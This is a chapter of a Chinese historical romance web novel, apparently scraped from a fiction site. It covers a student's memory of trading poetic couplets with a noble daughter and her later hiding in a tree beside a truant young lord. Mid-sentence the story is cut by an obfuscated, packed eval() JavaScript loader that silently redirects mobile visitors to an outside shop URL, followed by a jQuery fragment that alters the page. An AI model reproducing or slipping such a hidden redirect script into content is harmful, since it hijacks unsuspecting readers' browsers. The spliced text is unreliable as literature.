江云晚愣了一下,她写下山月,写无边愁绪;对方以流水回应,写往事难追。

    一静一动,两句十四字,像是隔着漫长时光闲谈。

    她感慨愁绪难解,对方叹息岁月奔流,各自心底的郁结,不必多说就能相通。

    她反复读了两遍,心里暗自赞叹,这一联对得十分巧妙。

    视线继续移动,又一张悬挂的书签映入眼帘,纸面字迹英气洒脱,写着一句上联。

    江云晚静静凝望许久,这句不同于世人常写的初月,承载着独属于某个人,绵长又隐秘的情绪。

    她忽然想起从前在青州的日子,那时她也常常独自坐在窗前望月。

    看得久了,总会觉得眼底这一片月色只属于自己,旁人看见的不过普通风景。

    心底有了想法,江云晚拿起笔,在书签背面写下下联。写完收笔,她转身刚走出几步,身后响起一道清润温和的声音。

    念的是她和的上联和她写的下联。

    语调舒缓从容,把诗句里藏着的怅惘完整念了出来。

    微风穿行,花香漫开,这一声轻吟落在耳边,比她落笔之时更有动人的味道。

    江云晚的耳尖顿时发烫,脸颊慢慢升温。她在国子监求学多年,课业文章时常被先生当众诵读,早就习惯旁人品评。

    可那些都是正经课业,诵读之人端庄持重,听者也恪守礼节,不存在私人情绪。

    眼下却全然不同,这是她藏在桃林深处不曾对外言说的心事,不料被人偶然看见,细细品读,语调温柔慎重,仿佛在认真体会文字里的情绪。

    她慌忙转头,便看见徐鹤卿站在书签旁边,手里还握着毛笔,想来也是走进林中,打算续写诗句。

    对比山脚时,此刻的江云晚几缕发丝被山风吹散,落在额前,冲淡了当众应对众人时的拘谨端庄,多了几分随性柔和。

    徐鹤卿抬眼望过来,目光在她脸上稍作停顿,随即扬起唇角,语气笃定:“这句诗是你写的?”

    对方应当早就站在近处,刚好撞见她落笔。

    江云晚有些不好意思,轻轻点头。

    徐鹤卿垂眸再次看向纸上文字,低声重复了下联。

    指尖轻点在刚写下的字上,她抬眼看向江云晚,目光坦荡真诚:“你落笔的时候,为什么偏偏选用这个‘离’字?”

    江云晚微微诧异,她原本以为以徐鹤卿的家世与才情,看到这句诗,最多简单评价一句便翻过,不会深究文字背后的心境,更不会以平等的姿态和她探讨。

    短暂迟疑后,她缓缓开口:“离人时时刻刻期盼返乡,归人终有抵达终点的时候,尘埃落定便再无牵挂。”

    “唯有离人长久漂泊,年年思念故土。圆月陪伴归人,弯月映照离人,同一片月色,从来都承载着两种心境。”

    话音落下,心底便生出一丝忐忑,她只是无名学子,在名门才女面前谈论诗中情绪,会不会显得刻意卖弄?

    但徐鹤卿没有轻视,也没有敷衍附和,安静听完后郑重点了点头。

    她语气平实,发自内心认可:“归人看见月亮,心中皆是圆满。只有离人眼中,月色永远像弯钩,常年残缺。”

    江云晚望着眼前之人,心里五味杂陈。

    山脚初见,她亲眼看见徐鹤卿一句诗作惊艳全场,万众追捧。那时她清楚,这般耀眼的人物和普通平凡的自己距离遥远。

    可此刻这位太师嫡女认真品读她随性写下的诗句,诚心和她推敲一字蕴含的情绪。

    没有世家贵女的架子,没有居高临下的疏离。

    仅仅是喜爱诗文的读书人,偶遇一句打动自己的诗句,便驻足欣赏,坦诚交谈。

    大概是发觉江云晚没有刚开始那般局促,徐鹤卿再次开口,眼里带着真切欣赏:“你的字迹也清隽耐看。”

    江云晚耳根更热,低头浅浅一笑:“还是你的上联更出彩。”说着抬手指向书签上的文字。

    徐鹤卿温和一笑:“这句写在江南,有一夜难以入眠,推开窗看见了檐边弯月,就心生感触,随手记录下来。”

    江云晚不由得想象江南夜色,无风的夜里,弯月悬在屋檐,清辉洒落,很容易催生细腻心绪,落笔成诗。

    林间风势放缓,两人站在书签前,一时安静无言。

    风穿过树林,牵动一串串书签轻轻晃动,淡淡的桃花香气萦绕四周。

    安静片刻,徐鹤卿轻声询问:“敢问姑娘名字?”

    “我叫江云晚。”

    “江云晚。”

    她慢慢念出这个名字,像是用心记下,随后说道:“我记住你了。”

    那时江云晚只当是诗会上普通客套,萍水相逢,闲谈过后各自别离,她没有放在心上,只是万万没想到,再次听见这个人的消息时,会是眼下这种情形。

    她忍不住想象苏叙言与徐鹤卿并肩而立的画面,外人看来确实十分相配。

    心里不可能毫无波澜,细碎的失落层层缠绕。

    她甚至忍不住猜想,苏叙言始终不愿对外袒露心意,会不会是因为徐鹤卿?

    可念头刚升起,她便立刻强行压下。

    仅凭旁人闲话胡乱揣测,无端牵扯别人,未免太过狭隘。

    江云晚抬手轻轻拍了拍脸颊,整理纷乱思绪,深吸一口气后,迈步下楼。

    宋亦安可还没有找到呢。

    她打算去学子居所问问,虽然宋亦安也不住国子监,但万一在哪个同窗好友的屋内偷懒呢?

    江云晚途经文庙广场的古树下时,一片青叶缓缓飘落,落在她头顶。

    她抬手取下叶片,低头看了片刻,头顶传来一道散漫慵懒的少年声音:“江学录看着闷闷不乐,出什么事了?”

    指尖的叶片被下意识攥皱,江云晚抬头望向树枝上的人影,方才积攒的郁结,在看见宋亦安之后,连生气的念头都提不起来。

    懒得和这人计较,江云

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946033|214066||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    晚神色平淡仰头开口:“世子今日又旷课,这次是什么缘由?”

    宋亦安指尖捏着一片新叶,随意把玩,坦然回话:“学录这次是真的冤枉我了,我本来打算去学堂,结果半路心疾突发,这才无奈错过了课业。”

    江云晚完全不信。

    她抬头打量树上的人,只是宋亦安背对光线,藏身浓密树荫,神情模糊,分辨不出真假。

    她心里满是疑惑:“既然心疾发作,应当静养,怎么爬到树上坐着?”

    宋亦安眉梢一挑,松开手指,青叶缓缓下坠:“正因为不舒服,才需上树透气散心。”语气听不出几分真几分假。

    叶片顺着微风盘旋落下,江云晚抬手接住,叶面带着草木独有的微凉。

    她低头沉默片刻,既然找到了宋亦安,确认此人平安无事,便没有继续停留的必要。

    江云晚正要转身离开,不远处忽然传来两道清晰的说话声。

    原本神色松弛的江云晚瞬间绷紧身子,警惕地望向小路。

    高处的宋亦安把她慌乱的模样尽收眼底,觉得十分新奇。

    他从没见过一向沉稳的江云晚这般手足无措。

    他的位置更高,比江云晚更早看清来人,看清瞬间,身形微微一顿,嘴角无声上扬。

    “江学录你……”

    话语戛然而止。

    宋亦安靠在粗壮枝干上,耳边只有风吹树叶的沙沙声响。

    他完全没有预料,树下的人会快步攀爬上来,动作快得让他来不及反应。

    等他回过神,江云晚已经踩着树干凸起,蹲在他的身侧。温热手掌忽然捂上他的嘴唇,对着他比出噤声的手势。

    她身上没有浓郁脂粉味,只有淡淡的书卷气息。柔软温热的掌心贴着他微凉的唇,冷热相触,感受格外清晰。

    宋亦安整个人怔住,方才江云晚快步爬树、俯身示意安静的画面在脑海里不断回放,连平日里打趣人的心思都消失干净。

    江云晚无暇留意他的反应,所有注意力都落在树下青石小径。

    两道人影从文庙方向缓步走来,阳光穿过枝叶,在两人身上投下斑驳光影。

    江云晚尽量向内收缩身体,往茂密枝叶深处躲藏。

    她自己也说不清为何要躲避,身体先于思绪做出选择,等回过神就已经蹲在宋亦安身侧,手掌还贴着他的嘴唇,感受到他的呼吸落在掌心。

    江云晚猛地收回手,侧身挪开少许距离。

    狭窄枝干上,两人紧挨在一起,肩头几乎相触,稍微转身都十分局促。

    她尽量往外侧避让,可枝叶拥挤,再向外挪动就有跌落的风险。

    宋亦安难得安分下来,没有开口调侃。

    他靠着树干侧头看向身旁之人,唇角噙着浅淡笑意,眼底藏着难以看透的情绪。

    江云晚一直垂着眼,透过枝叶缝隙望向小路:苏叙言与徐鹤卿越走越近,交谈的话语也慢慢清晰起来。